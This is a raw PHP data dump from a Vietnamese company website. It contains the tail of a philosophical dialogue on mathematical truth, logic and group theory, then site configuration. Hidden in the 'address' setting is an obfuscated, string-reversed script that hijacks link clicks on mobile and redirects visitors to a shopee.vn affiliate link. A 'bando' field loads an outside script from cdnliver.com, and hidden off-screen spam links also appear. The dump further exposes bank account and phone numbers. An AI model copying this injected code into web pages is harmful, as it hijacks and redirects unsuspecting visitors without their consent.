đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của 